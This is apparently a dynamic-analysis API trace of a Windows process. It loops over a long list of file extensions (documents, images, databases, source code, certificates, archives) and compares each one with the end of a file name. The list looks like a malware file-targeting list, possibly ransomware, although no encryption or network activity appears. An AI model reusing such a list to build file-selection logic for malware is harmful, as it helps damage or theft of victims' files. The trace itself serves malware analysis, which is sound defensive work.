	[0166.176] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1
	[0166.176] lstrlenW (lpString=".ascx") returned 5
	[0166.176] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1
	[0166.176] lstrlenW (lpString=".asm") returned 4
	[0166.176] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1
	[0166.176] lstrlenW (lpString=".asmx") returned 5
	[0166.176] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1
	[0166.176] lstrlenW (lpString=".asp") returned 4
	[0166.176] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1
	[0166.176] lstrlenW (lpString=".aspx") returned 5
	[0166.176] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1
	[0166.177] lstrlenW (lpString=".asr") returned 4
	[0166.177] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1
	[0166.177] lstrlenW (lpString=".asx") returned 4
	[0166.177] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1
	[0166.177] lstrlenW (lpString=".avi") returned 4
	[0166.177] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1
	[0166.177] lstrlenW (lpString=".avs") returned 4
	[0166.177] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1
	[0166.177] lstrlenW (lpString=".backup") returned 7
	[0166.177] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1
	[0166.177] lstrlenW (lpString=".bak") returned 4
	[0166.177] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1
	[0166.177] lstrlenW (lpString=".bay") returned 4
	[0166.177] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1
	[0166.177] lstrlenW (lpString=".bd") returned 3
	[0166.177] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1
	[0166.177] lstrlenW (lpString=".bin") returned 4
	[0166.177] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1
	[0166.177] lstrlenW (lpString=".bmp") returned 4
	[0166.177] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1
	[0166.177] lstrlenW (lpString=".bz2") returned 4
	[0166.177] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0166.177] lstrlenW (lpString=".c") returned 2
	[0166.177] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1
	[0166.177] lstrlenW (lpString=".cdr") returned 4
	[0166.177] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1
	[0166.177] lstrlenW (lpString=".cer") returned 4
	[0166.177] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1
	[0166.177] lstrlenW (lpString=".cf") returned 3
	[0166.177] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1
	[0166.177] lstrlenW (lpString=".cfc") returned 4
	[0166.178] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1
	[0166.178] lstrlenW (lpString=".cfm") returned 4
	[0166.178] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1
	[0166.178] lstrlenW (lpString=".cfml") returned 5
	[0166.178] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1
	[0166.178] lstrlenW (lpString=".cfu") returned 4
	[0166.178] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1
	[0166.178] lstrlenW (lpString=".chm") returned 4
	[0166.178] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1
	[0166.178] lstrlenW (lpString=".cin") returned 4
	[0166.178] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1
	[0166.178] lstrlenW (lpString=".class") returned 6
	[0166.178] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1
	[0166.178] lstrlenW (lpString=".clx") returned 4
	[0166.178] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1
	[0166.178] lstrlenW (lpString=".config") returned 7
	[0166.178] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1
	[0166.178] lstrlenW (lpString=".cpp") returned 4
	[0166.178] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1
	[0166.178] lstrlenW (lpString=".cr2") returned 4
	[0166.178] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1
	[0166.178] lstrlenW (lpString=".crt") returned 4
	[0166.178] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1
	[0166.178] lstrlenW (lpString=".crw") returned 4
	[0166.178] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1
	[0166.178] lstrlenW (lpString=".cs") returned 3
	[0166.178] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1
	[0166.178] lstrlenW (lpString=".css") returned 4
	[0166.178] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1
	[0166.178] lstrlenW (lpString=".csv") returned 4
	[0166.178] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1
	[0166.178] lstrlenW (lpString=".cub") returned 4
	[0166.178] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".dae") returned 4
	[0166.179] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".dat") returned 4
	[0166.179] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".db") returned 3
	[0166.179] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1
	[0166.179] lstrlenW (lpString=".dbf") returned 4
	[0166.179] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".dbx") returned 4
	[0166.179] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".dc3") returned 4
	[0166.179] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".dcm") returned 4
	[0166.179] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".dcr") returned 4
	[0166.179] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".der") returned 4
	[0166.179] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".dib") returned 4
	[0166.179] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".dic") returned 4
	[0166.179] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".dif") returned 4
	[0166.179] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".divx") returned 5
	[0166.179] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1
	[0166.179] lstrlenW (lpString=".djvu") returned 5
	[0166.179] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1
	[0166.179] lstrlenW (lpString=".dng") returned 4
	[0166.179] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1
	[0166.179] lstrlenW (lpString=".doc") returned 4
	[0166.179] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0166.180] lstrlenW (lpString=".docm") returned 5
	[0166.180] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1
	[0166.180] lstrlenW (lpString=".docx") returned 5
	[0166.180] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0166.180] lstrlenW (lpString=".dot") returned 4
	[0166.180] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1
	[0166.180] lstrlenW (lpString=".dotm") returned 5
	[0166.180] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1
	[0166.180] lstrlenW (lpString=".dotx") returned 5
	[0166.180] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1
	[0166.180] lstrlenW (lpString=".dpx") returned 4
	[0166.180] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1
	[0166.180] lstrlenW (lpString=".dqy") returned 4
	[0166.180] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1
	[0166.180] lstrlenW (lpString=".dsn") returned 4
	[0166.180] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1
	[0166.180] lstrlenW (lpString=".dt") returned 3
	[0166.180] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1
	[0166.180] lstrlenW (lpString=".dtd") returned 4
	[0166.180] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1
	[0166.180] lstrlenW (lpString=".dwg") returned 4
	[0166.180] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1
	[0166.180] lstrlenW (lpString=".dwt") returned 4
	[0166.180] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1
	[0166.180] lstrlenW (lpString=".dx") returned 3
	[0166.180] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1
	[0166.180] lstrlenW (lpString=".dxf") returned 4
	[0166.180] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1
	[0166.180] lstrlenW (lpString=".edml") returned 5
	[0166.180] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1
	[0166.180] lstrlenW (lpString=".efd") returned 4
	[0166.180] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1
	[0166.180] lstrlenW (lpString=".elf") returned 4
	[0166.181] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".emf") returned 4
	[0166.181] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".emz") returned 4
	[0166.181] lstrcmpiW (lpString1=".emz", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".epf") returned 4
	[0166.181] lstrcmpiW (lpString1=".epf", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".eps") returned 4
	[0166.181] lstrcmpiW (lpString1=".eps", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".epsf") returned 5
	[0166.181] lstrcmpiW (lpString1=".epsf", lpString2=".LOG1") returned -1
	[0166.181] lstrlenW (lpString=".epsp") returned 5
	[0166.181] lstrcmpiW (lpString1=".epsp", lpString2=".LOG1") returned -1
	[0166.181] lstrlenW (lpString=".erf") returned 4
	[0166.181] lstrcmpiW (lpString1=".erf", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".exr") returned 4
	[0166.181] lstrcmpiW (lpString1=".exr", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".f4v") returned 4
	[0166.181] lstrcmpiW (lpString1=".f4v", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".fido") returned 5
	[0166.181] lstrcmpiW (lpString1=".fido", lpString2=".LOG1") returned -1
	[0166.181] lstrlenW (lpString=".flm") returned 4
	[0166.181] lstrcmpiW (lpString1=".flm", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".flv") returned 4
	[0166.181] lstrcmpiW (lpString1=".flv", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".frm") returned 4
	[0166.181] lstrcmpiW (lpString1=".frm", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".fxg") returned 4
	[0166.181] lstrcmpiW (lpString1=".fxg", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".geo") returned 4
	[0166.181] lstrcmpiW (lpString1=".geo", lpString2="LOG1") returned -1
	[0166.181] lstrlenW (lpString=".gif") returned 4
	[0166.181] lstrcmpiW (lpString1=".gif", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".grs") returned 4
	[0166.182] lstrcmpiW (lpString1=".grs", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".gz") returned 3
	[0166.182] lstrcmpiW (lpString1=".gz", lpString2="OG1") returned -1
	[0166.182] lstrlenW (lpString=".h") returned 2
	[0166.182] lstrcmpiW (lpString1=".h", lpString2="G1") returned -1
	[0166.182] lstrlenW (lpString=".hdr") returned 4
	[0166.182] lstrcmpiW (lpString1=".hdr", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".hpp") returned 4
	[0166.182] lstrcmpiW (lpString1=".hpp", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".hta") returned 4
	[0166.182] lstrcmpiW (lpString1=".hta", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".htc") returned 4
	[0166.182] lstrcmpiW (lpString1=".htc", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".htm") returned 4
	[0166.182] lstrcmpiW (lpString1=".htm", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".html") returned 5
	[0166.182] lstrcmpiW (lpString1=".html", lpString2=".LOG1") returned -1
	[0166.182] lstrlenW (lpString=".icb") returned 4
	[0166.182] lstrcmpiW (lpString1=".icb", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".ics") returned 4
	[0166.182] lstrcmpiW (lpString1=".ics", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".iff") returned 4
	[0166.182] lstrcmpiW (lpString1=".iff", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".inc") returned 4
	[0166.182] lstrcmpiW (lpString1=".inc", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".indd") returned 5
	[0166.182] lstrcmpiW (lpString1=".indd", lpString2=".LOG1") returned -1
	[0166.182] lstrlenW (lpString=".ini") returned 4
	[0166.182] lstrcmpiW (lpString1=".ini", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".iqy") returned 4
	[0166.182] lstrcmpiW (lpString1=".iqy", lpString2="LOG1") returned -1
	[0166.182] lstrlenW (lpString=".j2c") returned 4
	[0166.183] lstrcmpiW (lpString1=".j2c", lpString2="LOG1") returned -1
	[0166.183] lstrlenW (lpString=".j2k") returned 4
	[0166.183] lstrcmpiW (lpString1=".j2k", lpString2="LOG1") returned -1
	[0166.183] lstrlenW (lpString=".java") returned 5
	[0166.183] lstrcmpiW (lpString1=".java", lpString2=".LOG1") returned -1
	[0166.183] lstrlenW (lpString=".jp2") returned 4
	[0166.183] lstrcmpiW (lpString1=".jp2", lpString2="LOG1") returned -1
	[0166.183] lstrlenW (lpString=".jpc") returned 4
	[0166.183] lstrcmpiW (lpString1=".jpc", lpString2="LOG1") returned -1
	[0166.183] lstrlenW (lpString=".jpe") returned 4
	[0166.183] lstrcmpiW (lpString1=".jpe", lpString2="LOG1") returned -1
	[0166.183] lstrlenW (lpString=".jpeg") returned 5
	[0166.183] lstrcmpiW (lpString1=".jpeg", lpString2=".LOG1") returned -1
	[0166.183] lstrlenW (lpString=".jpf") returned 4
	[0166.183] lstrcmpiW (lpString1=".jpf", lpString2="LOG1") returned -1
	[0166.183] lstrlenW (lpString=".jpg") returned 4
	[0166.183] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0166.183] lstrlenW (lpString=".jpx") returned 4
	[0166.183] lstrcmpiW (lpString1=".jpx", lpString2="LOG1") returned -1
	[0166.183] lstrlenW (lpString=".js") returned 3
	[0166.183] lstrcmpiW (lpString1=".js", lpString2="OG1") returned -1
	[0166.183] lstrlenW (lpString=".jsf") returned 4
	[0166.183] lstrcmpiW (lpString1=".jsf", lpString2="LOG1") returned -1
	[0166.183] lstrlenW (lpString=".json") returned 5
	[0166.183] lstrcmpiW (lpString1=".json", lpString2=".LOG1") returned -1
	[0166.183] lstrlenW (lpString=".jsp") returned 4
	[0166.183] lstrcmpiW (lpString1=".jsp", lpString2="LOG1") returned -1
	[0166.183] lstrlenW (lpString=".kdc") returned 4
	[0166.183] lstrcmpiW (lpString1=".kdc", lpString2="LOG1") returned -1
	[0166.183] lstrlenW (lpString=".kmz") returned 4
	[0166.183] lstrcmpiW (lpString1=".kmz", lpString2="LOG1") returned -1
	[0166.183] lstrlenW (lpString=".kwm") returned 4
	[0166.184] lstrcmpiW (lpString1=".kwm", lpString2="LOG1") returned -1
	[0166.184] lstrlenW (lpString=".lasso") returned 6
	[0166.184] lstrcmpiW (lpString1=".lasso", lpString2="D.LOG1") returned -1
	[0166.184] lstrlenW (lpString=".lbi") returned 4
	[0166.428] lstrcmpiW (lpString1=".lbi", lpString2="LOG1") returned -1
	[0166.428] lstrlenW (lpString=".lgf") returned 4
	[0166.428] lstrcmpiW (lpString1=".lgf", lpString2="LOG1") returned -1
	[0166.428] lstrlenW (lpString=".lgp") returned 4
	[0166.428] lstrcmpiW (lpString1=".lgp", lpString2="LOG1") returned -1
	[0166.428] lstrlenW (lpString=".log") returned 4
	[0166.428] lstrcmpiW (lpString1=".log", lpString2="LOG1") returned -1
	[0166.428] lstrlenW (lpString=".m1v") returned 4
	[0166.428] lstrcmpiW (lpString1=".m1v", lpString2="LOG1") returned -1
	[0166.428] lstrlenW (lpString=".m4a") returned 4
	[0166.428] lstrcmpiW (lpString1=".m4a", lpString2="LOG1") returned -1
	[0166.428] lstrlenW (lpString=".m4v") returned 4
	[0166.429] lstrcmpiW (lpString1=".m4v", lpString2="LOG1") returned -1
	[0166.429] lstrlenW (lpString=".max") returned 4
	[0166.429] lstrcmpiW (lpString1=".max", lpString2="LOG1") returned -1
	[0166.429] lstrlenW (lpString=".md") returned 3
	[0166.429] lstrcmpiW (lpString1=".md", lpString2="OG1") returned -1
	[0166.429] lstrlenW (lpString=".mda") returned 4
	[0166.429] lstrcmpiW (lpString1=".mda", lpString2="LOG1") returned -1
	[0166.429] lstrlenW (lpString=".mdb") returned 4
	[0166.429] lstrcmpiW (lpString1=".mdb", lpString2="LOG1") returned -1
	[0166.429] lstrlenW (lpString=".mde") returned 4
	[0166.429] lstrcmpiW (lpString1=".mde", lpString2="LOG1") returned -1
	[0166.429] lstrlenW (lpString=".mdf") returned 4
	[0166.429] lstrcmpiW (lpString1=".mdf", lpString2="LOG1") returned -1
	[0166.429] lstrlenW (lpString=".mdw") returned 4
	[0166.429] lstrcmpiW (lpString1=".mdw", lpString2="LOG1") returned -1
	[0166.429] lstrlenW (lpString=".mef") returned 4
	[0166.429] lstrcmpiW (lpString1=".mef", lpString2="LOG1") returned -1
	[0166.429] lstrlenW (lpString=".mft") returned 4
	[0166.429] lstrcmpiW (lpString1=".mft", lpString2="LOG1") returned -1
	[0166.429] lstrlenW (lpString=".mfw") returned 4
	[0166.429] lstrcmpiW (lpString1=".mfw", lpString2="LOG1") returned -1
	[0166.429] lstrlenW (lpString=".mht") returned 4
	[0166.429] lstrcmpiW (lpString1=".mht", lpString2="LOG1") returned -1
	[0166.429] lstrlenW (lpString=".mhtml") returned 6
	[0166.429] lstrcmpiW (lpString1=".mhtml", lpString2="D.LOG1") returned -1
	[0166.430] lstrlenW (lpString=".mka") returned 4
	[0166.430] lstrcmpiW (lpString1=".mka", lpString2="LOG1") returned -1
	[0166.430] lstrlenW (lpString=".mkidx") returned 6
	[0166.430] lstrcmpiW (lpString1=".mkidx", lpString2="D.LOG1") returned -1
	[0166.430] lstrlenW (lpString=".mkv") returned 4
	[0166.430] lstrcmpiW (lpString1=".mkv", lpString2="LOG1") returned -1
	[0166.430] lstrlenW (lpString=".mos") returned 4
	[0166.430] lstrcmpiW (lpString1=".mos", lpString2="LOG1") returned -1
	[0166.430] lstrlenW (lpString=".mov") returned 4
	[0166.430] lstrcmpiW (lpString1=".mov", lpString2="LOG1") returned -1
	[0166.430] lstrlenW (lpString=".mp3") returned 4
	[0166.430] lstrcmpiW (lpString1=".mp3", lpString2="LOG1") returned -1
	[0166.430] lstrlenW (lpString=".mp4") returned 4
	[0166.430] lstrcmpiW (lpString1=".mp4", lpString2="LOG1") returned -1
	[0166.430] lstrlenW (lpString=".mpeg") returned 5
	[0166.430] lstrcmpiW (lpString1=".mpeg", lpString2=".LOG1") returned 1
	[0166.430] lstrlenW (lpString=".mpg") returned 4
	[0166.430] lstrcmpiW (lpString1=".mpg", lpString2="LOG1") returned -1
	[0166.430] lstrlenW (lpString=".mpv") returned 4
	[0166.430] lstrcmpiW (lpString1=".mpv", lpString2="LOG1") returned -1
	[0166.430] lstrlenW (lpString=".mrw") returned 4
	[0166.430] lstrcmpiW (lpString1=".mrw", lpString2="LOG1") returned -1
	[0166.430] lstrlenW (lpString=".msg") returned 4
	[0166.430] lstrcmpiW (lpString1=".msg", lpString2="LOG1") returned -1
	[0166.430] lstrlenW (lpString=".mxl") returned 4
	[0166.431] lstrcmpiW (lpString1=".mxl", lpString2="LOG1") returned -1
	[0166.431] lstrlenW (lpString=".myd") returned 4
	[0166.431] lstrcmpiW (lpString1=".myd", lpString2="LOG1") returned -1
	[0166.431] lstrlenW (lpString=".myi") returned 4
	[0166.431] lstrcmpiW (lpString1=".myi", lpString2="LOG1") returned -1
	[0166.431] lstrlenW (lpString=".nef") returned 4
	[0166.431] lstrcmpiW (lpString1=".nef", lpString2="LOG1") returned -1
	[0166.431] lstrlenW (lpString=".nrw") returned 4
	[0166.431] lstrcmpiW (lpString1=".nrw", lpString2="LOG1") returned -1
	[0166.431] lstrlenW (lpString=".obj") returned 4
	[0166.431] lstrcmpiW (lpString1=".obj", lpString2="LOG1") returned -1
	[0166.431] lstrlenW (lpString=".odb") returned 4
	[0166.431] lstrcmpiW (lpString1=".odb", lpString2="LOG1") returned -1
	[0166.431] lstrlenW (lpString=".odc") returned 4
	[0166.431] lstrcmpiW (lpString1=".odc", lpString2="LOG1") returned -1
	[0166.431] lstrlenW (lpString=".odm") returned 4
	[0166.431] lstrcmpiW (lpString1=".odm", lpString2="LOG1") returned -1
	[0166.431] lstrlenW (lpString=".odp") returned 4
	[0166.431] lstrcmpiW (lpString1=".odp", lpString2="LOG1") returned -1
	[0166.431] lstrlenW (lpString=".ods") returned 4
	[0166.431] lstrcmpiW (lpString1=".ods", lpString2="LOG1") returned -1
	[0166.431] lstrlenW (lpString=".oft") returned 4
	[0166.431] lstrcmpiW (lpString1=".oft", lpString2="LOG1") returned -1
	[0166.431] lstrlenW (lpString=".one") returned 4
	[0166.431] lstrcmpiW (lpString1=".one", lpString2="LOG1") returned -1
	[0166.432] lstrlenW (lpString=".onepkg") returned 7
	[0166.432] lstrcmpiW (lpString1=".onepkg", lpString2="CD.LOG1") returned -1
	[0166.432] lstrlenW (lpString=".onetoc2") returned 8
	[0166.432] lstrcmpiW (lpString1=".onetoc2", lpString2="BCD.LOG1") returned -1
	[0166.432] lstrlenW (lpString=".opt") returned 4
	[0166.432] lstrcmpiW (lpString1=".opt", lpString2="LOG1") returned -1
	[0166.432] lstrlenW (lpString=".oqy") returned 4
	[0166.432] lstrcmpiW (lpString1=".oqy", lpString2="LOG1") returned -1
	[0166.432] lstrlenW (lpString=".orf") returned 4
	[0166.432] lstrcmpiW (lpString1=".orf", lpString2="LOG1") returned -1
	[0166.432] lstrlenW (lpString=".p12") returned 4
	[0166.432] lstrcmpiW (lpString1=".p12", lpString2="LOG1") returned -1
	[0166.432] lstrlenW (lpString=".p7b") returned 4
	[0166.432] lstrcmpiW (lpString1=".p7b", lpString2="LOG1") returned -1
	[0166.432] lstrlenW (lpString=".p7c") returned 4
	[0166.432] lstrcmpiW (lpString1=".p7c", lpString2="LOG1") returned -1
	[0166.432] lstrlenW (lpString=".pam") returned 4
	[0166.432] lstrcmpiW (lpString1=".pam", lpString2="LOG1") returned -1
	[0166.432] lstrlenW (lpString=".pbm") returned 4
	[0166.432] lstrcmpiW (lpString1=".pbm", lpString2="LOG1") returned -1
	[0166.432] lstrlenW (lpString=".pct") returned 4
	[0166.432] lstrcmpiW (lpString1=".pct", lpString2="LOG1") returned -1
	[0166.432] lstrlenW (lpString=".pcx") returned 4
	[0166.432] lstrcmpiW (lpString1=".pcx", lpString2="LOG1") returned -1
	[0166.432] lstrlenW (lpString=".pdd") returned 4
	[0166.433] lstrcmpiW (lpString1=".pdd", lpString2="LOG1") returned -1
	[0166.433] lstrlenW (lpString=".pdf") returned 4
	[0166.433] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0166.433] lstrlenW (lpString=".pdp") returned 4
	[0166.433] lstrcmpiW (lpString1=".pdp", lpString2="LOG1") returned -1
	[0166.433] lstrlenW (lpString=".pef") returned 4
	[0166.433] lstrcmpiW (lpString1=".pef", lpString2="LOG1") returned -1
	[0166.433] lstrlenW (lpString=".pem") returned 4
	[0166.433] lstrcmpiW (lpString1=".pem", lpString2="LOG1") returned -1
	[0166.433] lstrlenW (lpString=".pff") returned 4
	[0166.433] lstrcmpiW (lpString1=".pff", lpString2="LOG1") returned -1
	[0166.433] lstrlenW (lpString=".pfm") returned 4
	[0166.433] lstrcmpiW (lpString1=".pfm", lpString2="LOG1") returned -1
	[0166.433] lstrlenW (lpString=".pfx") returned 4
	[0166.433] lstrcmpiW (lpString1=".pfx", lpString2="LOG1") returned -1
	[0166.433] lstrlenW (lpString=".pgm") returned 4
	[0166.433] lstrcmpiW (lpString1=".pgm", lpString2="LOG1") returned -1
	[0166.433] lstrlenW (lpString=".php") returned 4
	[0166.433] lstrcmpiW (lpString1=".php", lpString2="LOG1") returned -1
	[0166.433] lstrlenW (lpString=".php3") returned 5
	[0166.433] lstrcmpiW (lpString1=".php3", lpString2=".LOG1") returned 1
	[0166.433] lstrlenW (lpString=".php4") returned 5
	[0166.433] lstrcmpiW (lpString1=".php4", lpString2=".LOG1") returned 1
	[0166.433] lstrlenW (lpString=".php5") returned 5
	[0166.433] lstrcmpiW (lpString1=".php5", lpString2=".LOG1") returned 1
	[0166.434] lstrlenW (lpString=".phtml") returned 6
	[0166.434] lstrcmpiW (lpString1=".phtml", lpString2="D.LOG1") returned -1
	[0166.434] lstrlenW (lpString=".pict") returned 5
	[0166.434] lstrcmpiW (lpString1=".pict", lpString2=".LOG1") returned 1
	[0166.434] lstrlenW (lpString=".pl") returned 3
	[0166.434] lstrcmpiW (lpString1=".pl", lpString2="OG1") returned -1
	[0166.434] lstrlenW (lpString=".pls") returned 4
	[0166.434] lstrcmpiW (lpString1=".pls", lpString2="LOG1") returned -1
	[0166.434] lstrlenW (lpString=".pm") returned 3
	[0166.434] lstrcmpiW (lpString1=".pm", lpString2="OG1") returned -1
	[0166.434] lstrlenW (lpString=".png") returned 4
	[0166.434] lstrcmpiW (lpString1=".png", lpString2="LOG1") returned -1
	[0166.434] lstrlenW (lpString=".pnm") returned 4
	[0166.434] lstrcmpiW (lpString1=".pnm", lpString2="LOG1") returned -1
	[0166.434] lstrlenW (lpString=".pot") returned 4
	[0166.434] lstrcmpiW (lpString1=".pot", lpString2="LOG1") returned -1
	[0166.434] lstrlenW (lpString=".potm") returned 5
	[0166.434] lstrcmpiW (lpString1=".potm", lpString2=".LOG1") returned 1
	[0166.434] lstrlenW (lpString=".potx") returned 5
	[0166.435] lstrcmpiW (lpString1=".potx", lpString2=".LOG1") returned 1
	[0166.435] lstrlenW (lpString=".ppa") returned 4
	[0166.435] lstrcmpiW (lpString1=".ppa", lpString2="LOG1") returned -1
	[0166.435] lstrlenW (lpString=".ppam") returned 5
	[0166.435] lstrcmpiW (lpString1=".ppam", lpString2=".LOG1") returned 1
	[0166.435] lstrlenW (lpString=".ppm") returned 4
	[0166.435] lstrcmpiW (lpString1=".ppm", lpString2="LOG1") returned -1
	[0166.435] lstrlenW (lpString=".pps") returned 4
	[0166.435] lstrcmpiW (lpString1=".pps", lpString2="LOG1") returned -1
	[0166.435] lstrlenW (lpString=".ppsm") returned 5
	[0166.435] lstrcmpiW (lpString1=".ppsm", lpString2=".LOG1") returned 1
	[0166.435] lstrlenW (lpString=".ppt") returned 4
	[0166.435] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0166.435] lstrlenW (lpString=".pptm") returned 5
	[0166.435] lstrcmpiW (lpString1=".pptm", lpString2=".LOG1") returned 1
	[0166.435] lstrlenW (lpString=".pptx") returned 5
	[0166.435] lstrcmpiW (lpString1=".pptx", lpString2=".LOG1") returned 1
	[0166.435] lstrlenW (lpString=".prn") returned 4
	[0166.435] lstrcmpiW (lpString1=".prn", lpString2="LOG1") returned -1
	[0166.435] lstrlenW (lpString=".ps") returned 3
	[0166.435] lstrcmpiW (lpString1=".ps", lpString2="OG1") returned -1
	[0166.435] lstrlenW (lpString=".psb") returned 4
	[0166.435] lstrcmpiW (lpString1=".psb", lpString2="LOG1") returned -1
	[0166.435] lstrlenW (lpString=".psd") returned 4
	[0166.435] lstrcmpiW (lpString1=".psd", lpString2="LOG1") returned -1
	[0166.436] lstrlenW (lpString=".pst") returned 4
	[0166.436] lstrcmpiW (lpString1=".pst", lpString2="LOG1") returned -1
	[0166.436] lstrlenW (lpString=".ptx") returned 4
	[0166.436] lstrcmpiW (lpString1=".ptx", lpString2="LOG1") returned -1
	[0166.436] lstrlenW (lpString=".pub") returned 4
	[0166.436] lstrcmpiW (lpString1=".pub", lpString2="LOG1") returned -1
	[0166.436] lstrlenW (lpString=".pwm") returned 4
	[0166.436] lstrcmpiW (lpString1=".pwm", lpString2="LOG1") returned -1
	[0166.436] lstrlenW (lpString=".pxr") returned 4
	[0166.436] lstrcmpiW (lpString1=".pxr", lpString2="LOG1") returned -1
	[0166.436] lstrlenW (lpString=".py") returned 3
	[0166.436] lstrcmpiW (lpString1=".py", lpString2="OG1") returned -1
	[0166.436] lstrlenW (lpString=".qt") returned 3
	[0166.436] lstrcmpiW (lpString1=".qt", lpString2="OG1") returned -1
	[0166.436] lstrlenW (lpString=".r3d") returned 4
	[0166.436] lstrcmpiW (lpString1=".r3d", lpString2="LOG1") returned -1
	[0166.436] lstrlenW (lpString=".raf") returned 4
	[0166.436] lstrcmpiW (lpString1=".raf", lpString2="LOG1") returned -1
